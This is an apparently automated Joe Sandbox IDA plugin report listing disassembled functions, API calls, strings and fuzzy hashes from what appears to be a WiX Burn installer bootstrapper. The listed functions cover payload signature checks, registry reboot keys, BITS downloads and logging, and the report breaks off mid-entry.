Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateInstance
String ID: Failed to create BITS job.$Failed to create IBackgroundCopyManager.$Failed to set BITS job to foreground.$Failed to set BITS job to low priority.$Failed to set notification flags for BITS job.$Failed to set progress timeout.$WixBurn
API String ID: 542301482-4242919803
Opcode ID: 65021671041cd1113d52a51e3b9c2d1215dd19ba2e065ec58383ed0de2e52485
Instruction ID: d950797bcaa0be9b34d500c598904c6519e7bb7284848888777b20aa61ce9710
Opcode Fuzzy Hash: 65021671041cd1113d52a51e3b9c2d1215dd19ba2e065ec58383ed0de2e52485
Instruction Fuzzy Hash: F1315EB5A04219AFDB10EFA4C8D9DBEB7B8FB88354B104969F913E7240D7749D428B90

Function 00A393A4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 113fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000005,00000000,00000003,08000000,00000000,00000000,00000000,?,00A39C6F,00000000,00000001,?,?,00000000), ref: 00A393BE
GetLastError.KERNEL32(?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A393CB

Part of subcall function 00A38281: _memset.LIBCMT ref: 00A382AB

CloseHandle.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?), ref: 00A394A8

Strings

cache.cpp, xrefs: 00A39403
Failed to verify hash of payload: %ls, xrefs: 00A3947E
Failed to verify signature of payload: %ls, xrefs: 00A3943B
Failed to verify catalog signature of payload: %ls, xrefs: 00A3945A
Failed to open payload at path: %ls, xrefs: 00A39410

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_memset
String ID: Failed to open payload at path: %ls$Failed to verify catalog signature of payload: %ls$Failed to verify hash of payload: %ls$Failed to verify signature of payload: %ls$cache.cpp
API String ID: 1470872789-2757871984
Opcode ID: 3984f1468a8b7239fcd1b913206b2485343eabc4990fedd252de424829351550
Instruction ID: 40a4035ee104787fdf2e3bad77567fbdaa652fb01522cee344e1229b67dc3673
Opcode Fuzzy Hash: 3984f1468a8b7239fcd1b913206b2485343eabc4990fedd252de424829351550
Instruction Fuzzy Hash: 79314935240204BBDF321B64CC46F6F363ABFD4720F208518F818551E0DBBA8992DA62

Function 00A237C6 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 92synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0002BF20,?,F0000003,00000000,00000000,00000000,?,00000000,00000000,00A21E12,00000000,00000000,?,?), ref: 00A2386E
GetLastError.KERNEL32(?,?,?,00A21AC0,?,?,00000000,?,?,00000000,?,?,?,?,?,00000001), ref: 00A23879

Strings

Failed to write exit code to message buffer., xrefs: 00A237EA
Failed to post terminate message to child process., xrefs: 00A2385A
Failed to wait for child process exit., xrefs: 00A238A8
pipe.cpp, xrefs: 00A2389E
Failed to write restart to message buffer., xrefs: 00A23807
Failed to post terminate message to child process cache thread., xrefs: 00A2383E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: Failed to post terminate message to child process cache thread.$Failed to post terminate message to child process.$Failed to wait for child process exit.$Failed to write exit code to message buffer.$Failed to write restart to message buffer.$pipe.cpp
API String ID: 1211598281-2161881128
Opcode ID: 0adec5445999f9248f2090a833538179340456f2e3e6064a85659882ecdc61f4
Instruction ID: 3a6314801c225308dde440dad19ef6b84edbb9b94956f6c1ddea2513a6cf029a
Opcode Fuzzy Hash: 0adec5445999f9248f2090a833538179340456f2e3e6064a85659882ecdc61f4
Instruction Fuzzy Hash: 70219533940736BACF119BA8ED45E9E7A69BF02731F100575FE10EA181E678DA089794

Function 00A27603 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 83COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27619
GetFileAttributesW.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00A28BC6,?,?,?,?,?,?), ref: 00A27631
GetLastError.KERNEL32(?,00A28BC6,?,?,?,?,?,?,?,?,00000001,00000000), ref: 00A2763C

Strings

Failed to set variable., xrefs: 00A276C2
search.cpp, xrefs: 00A2766D
Failed get to file attributes. '%ls', xrefs: 00A2767A
Failed to format variable string., xrefs: 00A27624
File search: %ls, did not find path: %ls, xrefs: 00A2768F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Failed get to file attributes. '%ls'$Failed to format variable string.$Failed to set variable.$File search: %ls, did not find path: %ls$search.cpp
API String ID: 1811509786-2053429945
Opcode ID: e070448875259a3a08ec23e47fcba3c786976b35b00a737ad83e6c32cc785a83
Instruction ID: a91c5b4cbfbb045e8fc12460b4c8a224270ca74de6690ffd77e7bc48f0efd49f
Opcode Fuzzy Hash: e070448875259a3a08ec23e47fcba3c786976b35b00a737ad83e6c32cc785a83
Instruction Fuzzy Hash: A1212372944A35BEDB125B9CAE4AF6E7625FF01751F200235FC00A11A0EB72DF18A6A5

Function 00A29B4F Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 53registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,?,00000000,CommonFilesDir,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,00020119,00000000), ref: 00A29BD5

Part of subcall function 00A53841: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,80070002,80070003,00000000,00000000,00000000), ref: 00A538B2
Part of subcall function 00A53841: RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00A538EB

Strings

Failed to ensure path was backslash terminated., xrefs: 00A29BBF
+, xrefs: 00A29B57
Failed to read folder path for '%ls'., xrefs: 00A29BA1
ProgramFilesDir, xrefs: 00A29B64
Failed to open Windows folder key., xrefs: 00A29B87
CommonFilesDir, xrefs: 00A29B5D, 00A29B91, 00A29BA0
SOFTWARE\Microsoft\Windows\CurrentVersion, xrefs: 00A29B72

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: QueryValue$Close
String ID: +$CommonFilesDir$Failed to ensure path was backslash terminated.$Failed to open Windows folder key.$Failed to read folder path for '%ls'.$ProgramFilesDir$SOFTWARE\Microsoft\Windows\CurrentVersion
API String ID: 1979452859-3209209246
Opcode ID: a2ce108230917428fc7a525c6319d7c4800232d6e2fe47c10a4085eaf41c6428
Instruction ID: 73c7a71d6edc5fcb9041d2b15e6e277eb5da59c6f9725964c4dada8172efe162
Opcode Fuzzy Hash: a2ce108230917428fc7a525c6319d7c4800232d6e2fe47c10a4085eaf41c6428
Instruction Fuzzy Hash: D201B133A40234FBDF126658FD06E9FBA79EF50FA5F204525FC08B62A2C6708E449691

Function 00A31F8A Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 222sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00A31C48: RegCloseKey.ADVAPI32(?,SOFTWARE\Policies\Microsoft\Windows\Installer,00020019,?,00000001,?,?,?,00A31FA6,00000000,?,?,?), ref: 00A31CD5

Sleep.KERNEL32(000007D0,00000001,00000000,Setup,00000000,log,0000000D,00000000,00000000,?,?,?), ref: 00A32035

Strings

Failed to copy log path to prefix., xrefs: 00A3216F
log, xrefs: 00A31FE4
Failed to open log: %ls, xrefs: 00A320AF
Failed to get non-session specific TEMP folder., xrefs: 00A320E7
Setup, xrefs: 00A31FEA
Failed to copy log extension to extension., xrefs: 00A3218E
Failed to copy full log path to prefix., xrefs: 00A321A9
Failed to get current directory., xrefs: 00A32021

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseSleep
String ID: Failed to copy full log path to prefix.$Failed to copy log extension to extension.$Failed to copy log path to prefix.$Failed to get current directory.$Failed to get non-session specific TEMP folder.$Failed to open log: %ls$Setup$log
API String ID: 2834455192-2818506709
Opcode ID: ffcc1582f4f2b92af4591a8b0bd724b2befe965ee62ff9159d263b1f8323fe08
Instruction ID: 0dedf2b46619bdec65dec9e4ab5697307d1cd6ab01b6ffdb86bc65155200b588
Opcode Fuzzy Hash: ffcc1582f4f2b92af4591a8b0bd724b2befe965ee62ff9159d263b1f8323fe08
Instruction Fuzzy Hash: 49717271900606FFCF24AFA4CE85AADBBB9FF05304F20452AFA01A7151D7709D95DBA1

Function 00A36385 Relevance: 13.6, APIs: 9, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00A363A1
DefWindowProcW.USER32(?,00000082,?,?), ref: 00A363D9
SetWindowLongW.USER32(?,000000EB,00000000), ref: 00A363E6
SetWindowLongW.USER32(?,000000EB,?), ref: 00A363F5
DefWindowProcW.USER32(?,?,?,?), ref: 00A36403
_memset.LIBCMT ref: 00A36418
BeginPaint.USER32(?,?), ref: 00A36425
EndPaint.USER32(?,?), ref: 00A36436
PostQuitMessage.USER32(00000000), ref: 00A36440

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Window$Long$PaintProc$BeginMessagePostQuit_memset
String ID:
API String ID: 527712210-0
Opcode ID: 32e54c072b64065dc2483c6e854102bca7ebc704975c34442abdb3ba8e1ea385
Instruction ID: b77aed43a68891c0513d5d427a15328a8695d5ac391ab399306ab763c4cf63cb
Opcode Fuzzy Hash: 32e54c072b64065dc2483c6e854102bca7ebc704975c34442abdb3ba8e1ea385
Instruction Fuzzy Hash: 30219272914208BBCB11EFA89E4AE7E7778FB49722F508515FA13EA0A0CB3499019731

Function 00A397CB Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 199COMMON

Download Yara Rule

APIs

Part of subcall function 00A2A528: EnterCriticalSection.KERNEL32(?,00000000,00000000,?,?,00A39714,?,WixBundleOriginalSource,?,00000000,?,?,00000001,?,?,00000001), ref: 00A2A536
Part of subcall function 00A2A528: LeaveCriticalSection.KERNEL32(?,00000000,00000000,?,?,00A39714,?,WixBundleOriginalSource,?,00000000,?,?,00000001,?,?,00000001), ref: 00A2A598

CompareStringW.KERNEL32(00000000,00000001,?,000000FF,?,000000FF,?,?,?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00A398FE

Strings

Failed to combine last source with source., xrefs: 00A398B7
WixBundleLastUsedSource, xrefs: 00A39824
Failed to copy source path., xrefs: 00A39994
WixBundleOriginalSource, xrefs: 00A3983F
Failed to get current process directory., xrefs: 00A39899
Failed to get path to current process., xrefs: 00A3987C

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$CompareEnterLeaveString
String ID: Failed to combine last source with source.$Failed to copy source path.$Failed to get current process directory.$Failed to get path to current process.$WixBundleLastUsedSource$WixBundleOriginalSource
API String ID: 2612025200-10224182
Opcode ID: 3bca5a8499ea8f9abff35ac47d97ab6e1da5accb57c33bde61f52370714284b7
Instruction ID: e0b0f2ecd7d27cdaba0c4fb3669ea48e3a9f1273d971067e01b0cefc890b73c8
Opcode Fuzzy Hash: 3bca5a8499ea8f9abff35ac47d97ab6e1da5accb57c33bde61f52370714284b7
Instruction Fuzzy Hash: B571F6B1D0021AEFCF10EFA5C9819EEBBB9FB08311F20456EF911B6160D7B19A85DB51

Function 00A47170 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 161networkCOMMON

Download Yara Rule

APIs

HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A47183
GetLastError.KERNEL32(?,?,?,00A47457,00000000,?,00000000,?,00000000,00000000,00000001,?), ref: 00A4718D

Strings

Failed to get HTTP status code for request to URL: %ls, xrefs: 00A47320
Failed to send request to URL: %ls, trying to process HTTP status code anyway., xrefs: 00A471A5
Failed to get redirect url: %ls, xrefs: 00A47329
Failed to get HTTP status code for failed request to URL: %ls, xrefs: 00A471C5
Unknown HTTP status code %d, returned from URL: %ls, xrefs: 00A47227

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHttpLastRequestSend
String ID: Failed to get HTTP status code for failed request to URL: %ls$Failed to get HTTP status code for request to URL: %ls$Failed to get redirect url: %ls$Failed to send request to URL: %ls, trying to process HTTP status code anyway.$Unknown HTTP status code %d, returned from URL: %ls
API String ID: 4088757929-2903077892
Opcode ID: f248811ae7bf1a54d8623bb7cc74775a15be3271f3b3ebebea60b3929a3d5da0
Instruction ID: d14107dbfc2e7b448cefc7e9561595e15d276e0016493ffe861ec0d3964a8593
Opcode Fuzzy Hash: f248811ae7bf1a54d8623bb7cc74775a15be3271f3b3ebebea60b3929a3d5da0
Instruction Fuzzy Hash: DC41F57995C5EAABDB318F688D45EBE6668FB80750F640125FC01EF290E7A4DD00A3D0

Function 00A27251 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 133registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,00000000,00000000,?,?,00020006,00000000,00000000,00000000,?,00000000,00000001), ref: 00A27381
RegCloseKey.ADVAPI32(00000001,00000000,00000000,?,?,00020006,00000000,00000000,00000000,?,00000000,00000001), ref: 00A2738E

Part of subcall function 00A53D8C: RegCreateKeyExW.ADVAPI32(00000001,00000000,00000000,00000000,00000000,00000001,00A213BB,?,?,00000001,?,00A272CB,?,00A213BB,00020006,00000001), ref: 00A53DB0

Strings

Failed to write volatile reboot required registry key., xrefs: 00A272CF
Failed to open registration key., xrefs: 00A273BF
Failed to update resume mode., xrefs: 00A27366
%ls.RebootRequired, xrefs: 00A272A5
Failed to delete registration key: %ls, xrefs: 00A27331

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Close$Create
String ID: %ls.RebootRequired$Failed to delete registration key: %ls$Failed to open registration key.$Failed to update resume mode.$Failed to write volatile reboot required registry key.
API String ID: 359002179-2517785395
Opcode ID: a6f57b5cac095ee1a8c148fa74f1180b71e93dfa95287d0db6e7694a58ce439e
Instruction ID: f48f298d96448c8d43ab6c199dcb4ca0496ee6722e55b467ebf7436017abf744
Opcode Fuzzy Hash: a6f57b5cac095ee1a8c148fa74f1180b71e93dfa95287d0db6e7694a58ce439e
Instruction Fuzzy Hash: 10418272904228FFCF21AFA8ED82DAE77B9BF40301B14483EF90566011D7719B54EB51

Function 00A4FD97 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,00000000,00A77E3C), ref: 00A4FDDB
_memset.LIBCMT ref: 00A4FDF3
GetComputerNameW.KERNEL32(?,?), ref: 00A4FE33

Strings

=== Logging started: %ls ===, xrefs: 00A4FE5C
Computer : %ls, xrefs: 00A4FE9F
--- logging level: %hs ---, xrefs: 00A4FEE9
Executable: %ls v%d.%d.%d.%d, xrefs: 00A4FE8D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Name$ComputerFileModule_memset
String ID: --- logging level: %hs ---$=== Logging started: %ls ===$Computer : %ls$Executable: %ls v%d.%d.%d.%d
API String ID: 1941974936-3153207428
Opcode ID: 2b10d8f518119be59099a2128cffac8a710f74ff8942c82ad26ac57e9f950244
Instruction ID: 76e63b622c8d2188abeeea8ced123afe54cc974805c16b00f764f03ff15cf327
Opcode Fuzzy Hash: 2b10d8f518119be59099a2128cffac8a710f74ff8942c82ad26ac57e9f950244
Instruction Fuzzy Hash: 804121B690011CAFDB21DF54AD85EEA73BCFB84305F5081B9E609E3152D6309E86CFA4

Function 00A25693 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 120registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,00000000,00000001,?,000000F9,00000001,?,00000105,00000000,?,?), ref: 00A257AB
RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,00000000,00000001,?,000000F9,00000001,?,00000105,00000000,?,?), ref: 00A257B8

Strings

Resume, xrefs: 00A25726
Failed to open registration key., xrefs: 00A2571B
%ls.RebootRequired, xrefs: 00A256A7
Failed to read Resume value., xrefs: 00A25746
Failed to format pending restart registry key to read., xrefs: 00A256C7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Close
String ID: %ls.RebootRequired$Failed to format pending restart registry key to read.$Failed to open registration key.$Failed to read Resume value.$Resume
API String ID: 3535843008-3890505273
Opcode ID: fa506e71139635e7a569aa106f299eaf72ca4138753874843b5fec67a0c37f77
Instruction ID: a9b3f2a3bfe889c2f608d6e09bf921cab4831d64b6efbbcc105178be48eaeeb9
Opcode Fuzzy Hash: fa506e71139635e7a569aa106f299eaf72ca4138753874843b5fec67a0c37f77
Instruction Fuzzy Hash: 3A417376D80A28EFCB11CFACD9809ADB7B5FB44351F154876E915A7250D7709E04DB20

Function 00A399F9 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 113COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000001,?,000000FF,?,000000FF,?,7FFFFFFF,?,?,7FFFFFFF,?,00000000,?,00000000), ref: 00A39A7A
CompareStringW.KERNEL32(00000000,00000001,?,000000FF,00A42A82,000000FF,00A42A82,WixBundleLastUsedSource,00A42A82,?,?,?,?,?,00A42A82,?), ref: 00A39AC1

Strings

Failed to determine length of relative path., xrefs: 00A39A49
WixBundleLastUsedSource, xrefs: 00A39A9E, 00A39AA3, 00A39ADD
Failed to determine length of source path., xrefs: 00A39A2A
Failed to set last source., xrefs: 00A39AED
Failed to trim source folder., xrefs: 00A39A93

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString
String ID: Failed to determine length of relative path.$Failed to determine length of source path.$Failed to set last source.$Failed to trim source folder.$WixBundleLastUsedSource
API String ID: 1825529933-660234312
Opcode ID: f3173f2ccc9dd2e190fc90f25ef20bd558cb02a2f688869c6254cca07221f1e0
Instruction ID: badc81f88cda32a2a89869f56d033252efbab5bb435ea4c6864609629c3ca270
Opcode Fuzzy Hash: f3173f2ccc9dd2e190fc90f25ef20bd558cb02a2f688869c6254cca07221f1e0
Instruction Fuzzy Hash: 30319D31900219BBDF11DF99CC45EDFBBB9EB54361F208626F525E61D0EBB09A02CB50

Function 00A2F5C7 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 106COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A2F5DE

Strings

Failed to copy installed ProductCode., xrefs: 00A2F693
Failed to read package id from message buffer., xrefs: 00A2F606
Failed to read installed version from message buffer., xrefs: 00A2F674
Failed to find package: %ls, xrefs: 00A2F628
Failed to load compatible package., xrefs: 00A2F6C4
Failed to read installed ProductCode from message buffer., xrefs: 00A2F654

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to copy installed ProductCode.$Failed to find package: %ls$Failed to load compatible package.$Failed to read installed ProductCode from message buffer.$Failed to read installed version from message buffer.$Failed to read package id from message buffer.
API String ID: 2102423945-2628348887
Opcode ID: 0da81f7d6b8b0e3195281532987829135247466d2bb09dcccc31642730b91616
Instruction ID: 42be31098edb97fe8e499097f7a57726119e7f9406cfb008a152b2cb1b2f73e8
Opcode Fuzzy Hash: 0da81f7d6b8b0e3195281532987829135247466d2bb09dcccc31642730b91616
Instruction Fuzzy Hash: A5316932900168FFCF11EAA8EE45EEEBBB8FB58310F104476F914B7161E6318A559B90

Function 00A23D1B Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 93fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A24D26: CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,?,000000FF,00000000,00000000,?,?,?,00A2F1C5,?,?,?,?), ref: 00A24D4B

CreateFileW.KERNEL32(00A22232,80000000,00000005,00000000,00000003,08000000,00000000,00A22232,E8530674,00000000,00A21E8E,15FF3675,00A21F0E,00A21AA6,00A21E22,00000000), ref: 00A23D83

Part of subcall function 00A38CA0: _memset.LIBCMT ref: 00A38CFA

GetLastError.KERNEL32 ref: 00A23DCC

Strings

Failed to open catalog in working path: %ls, xrefs: 00A23DFB
Failed to verify catalog signature: %ls, xrefs: 00A23E05
Failed to find payload for catalog file., xrefs: 00A23DB6
Failed to get catalog local file path, xrefs: 00A23DBD
catalog.cpp, xrefs: 00A23DEE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareCreateErrorFileLastString_memset
String ID: Failed to find payload for catalog file.$Failed to get catalog local file path$Failed to open catalog in working path: %ls$Failed to verify catalog signature: %ls$catalog.cpp
API String ID: 3205693548-48089280
Opcode ID: d4de33eddea1aa960cb70bf501544d6588e4c54959f4a69767e28fdb0302e04f
Instruction ID: 9d39527aee1fe0b618578040584ae7e618354dda01f6e256d3570fd105bf7c93
Opcode Fuzzy Hash: d4de33eddea1aa960cb70bf501544d6588e4c54959f4a69767e28fdb0302e04f
Instruction Fuzzy Hash: 82310036500715BFCF109B5CDD41F5ABBB5BF81721F214469F919AB2A0E639EA099B00

Function 00A44F72 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 91synchronizationCOMMON

Download Yara Rule

APIs

